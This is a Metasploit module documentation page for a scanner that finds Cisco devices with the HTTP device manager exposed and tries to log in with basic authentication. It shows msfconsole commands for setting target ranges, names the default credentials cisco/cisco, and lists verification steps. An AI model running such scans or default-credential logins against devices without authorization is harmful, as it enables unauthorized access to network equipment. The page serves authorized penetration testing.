This module gathers data from a Cisco device (router or switch) with the device manager web interface exposed. The HttpUsername and HttpPassword options can be used to specify authentication.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/http/cisco_device_manager
msf auxiliary(cisco_device_manager) > show options
    ... show and set options ...
msf auxiliary(cisco_device_manager) > set RHOSTS ip-range
msf auxiliary(cisco_device_manager) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(cisco_device_manager) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(cisco_device_manager) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(cisco_device_manager) > set RHOSTS file:/tmp/ip_list.txt

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Description

This module scans for the presence of the HTTP interface for a cisco device and attempts to enumerate it using basic authentication.

Vulnerable Application

Any Cisco networking device with the HTTP inteface turned on.

Verification Steps

  1. Enable the web interface on a cisco device ip http server
  2. Start msfconsole
  3. Do: use auxiliary/scanner/http/cisco_device_manager
  4. Do: set RHOSTS [IP]
  5. Do: run

Options

HttpUsername

Username to use for basic authentication. Default value is cisco

HttpPassword

Password to use for basic authentication. Default value is cisco

Scenarios

Tested on Cisco UC520-8U-4FXO-K9 running IOS 12.4
